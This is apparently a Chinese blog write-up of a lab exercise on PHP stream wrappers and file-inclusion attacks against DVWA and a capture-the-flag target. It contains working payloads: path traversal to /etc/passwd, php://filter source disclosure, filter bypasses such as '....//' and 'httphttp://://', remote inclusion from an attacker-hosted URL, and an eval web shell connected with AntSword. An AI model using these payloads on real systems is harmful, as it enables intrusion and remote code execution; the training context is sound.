php伪协议
Abstract: 在 action 测试所有的伪协议,测试 DVWA 的包含漏洞及获取虚拟机中的 flag
Table of Contents
测试所有伪协议
基础知识
1
2file://绝对路径
file://C:\\Windows\win.ini对方服务器上的路径,文件包含时,不能有后缀,如果有后缀,尝试 00 截断以及长文件名截断。
1
2http://指定url
http://www.123.com/a.txt?使用
?或#绕过后缀,当用在include中的同时,要求php.ini文件中,allow_url_include=On;当用在file类函数中的同时,要求php.ini文件中,allow_url_fopen=On1
2
3
4php://
php://input 接收到 post 数据
php://filter/read=convert.base64-encode/resource=a.php
# 读取a.php的内容,并且base64编码,主要作用用来读php文件源代码post提交uname=zs&upass=123456,php://input收到的内容就是name=zs&upass=123456,不能有后缀,当用在include中的同时,要求php.ini文件中,allow_url_include=On,当用在file类函数的同时,要求php.ini文件中,allow_url_fopen=On。php://filter可以使用相对路径,以及绝对路径,不能有后缀。当用在include中同时,要求php.ini文件中,allow_url_include=On/Off,当用在file类函数中,要求php.ini文件中allow_url_fopen=On/Off。1
2data://
data://text/plain,abcdata://text/plain;base64,YWJj就会收到abc,当用在include中,要求php.ini文件中,allow_url_include=On,当用在file类函数中,要求php.ini文件中,allow_url_fopen=On。
遇到一个网站该如何入手?

测试 action
打开 action2 网页,收集信息。因为有后缀,所以无法使用 file://绝对路径 读取目标服务器上的文件。

然后修改 action=./news 观察页面变化。

进入页面后,发现没有变化。故该页面可能存在文件包含漏洞。

使用 php://filter/read=convert.base64-encode/resource=news 看是否能读出内容。

把读出来的内容进行解码,可以获取到源码。

使用 data://text/plain,abc<?php phpinfo();?> 判断能否使用远程包含。

打开 action3 网页,收集信息。

使用 ./news 判断是否可能存在文件包含漏洞。

尝试读取源码。

DVWA 中的包含漏洞
难度 low
访问首页,收集信息,由下图可知该服务器系统为 CentOS 。

修改 page=./include.php ,观察页面的变化。

发现页面无变化,可能存在文件包含漏洞。直接访问 /etc/passwd 文件。修改 page=../../../../../../etc/passwd。

读取源码。修改 page=php://filter/read=convert.base64-encode/resource=include.php。

解码。

修改 page=data://text/plain,abc <?php phpinfo();?>,判断能否远程文件包含。

在远程服务器上放 show.php ,文件内容为 <?php phpinfo();?>,修改 page=http://your-ip/show.php,查看。

在远程服务器上放 cmd.php,文件内容为 <?php @eval($_POST["cmd"]);?>,修改 page=http://your-ip/show.php,查看。

直接用菜刀/蚁剑连接,连接不成功。转换思路,用文件上传功能上传一个木马,然后找到它,用蚁剑连接即可。
先上传一个正常的图片,发现可以看见路径。很明显该路径为相对路径。

把 url 和路径拼接起来,

确定后,看到图片,并且上传图片的路径也清晰明了。

上传一个木马,用菜刀/蚁剑连接。

根据前面查到的路径,直接连接。

难度 medium
访问 ./include.php,故可能存在文件包含。

修改 page=../../../../../etc/passwd

改为 page=/etc/passwd 可以取得内容。

再次修改 page=....//....//....//....//....//....//etc/passwd,可以得到内容,所以程序很可能对敏感字符做了处理,但是可以通过双拼绕过。

修改 page=php://filter/read=convert.base64-encode/resource=include.php,查看源码。

解码可得源码。
1 |
|
修改 page=data://text/plain,abc <?php phpinfo();?>,查看页面。

修改 page=http://your-ip/show.php ,利用远程包含,发现没有显示内容。

由于 php://filter 和 data://都显示内容了,所以很可能对 http 这四个字符做了处理。尝试了 http 字符多个位置双拼都不行,可能是对 http:// 做了处理,尝试下 httphttp://:// ,发现可以绕过。修改 page=httphttp://://your-ip/show.php。查看页面。

难度 high
修改 page=./include.php。

获取虚拟机中的 flag
查看源码
1 | <!-- |
简单的流程图

对 a 使用远程包含的方法输入值,对 b 直接输入值,对 e 使用与 a 相同的方法。

成功绕过,但是依然无法访问 flag.php。

查看 robots.txt 文件。

用 c=php://filter/read=convert.base64-encode/resource=class.php,查看 class.php 源码。

解码,可得 class.php。
1 |
|
利用 php md5 解密漏洞。

绕过 waf。

查看源码,获取 flag{danjfb-asdfss-vsdfsa-fdsdaf-cvfsfa}。
参考文章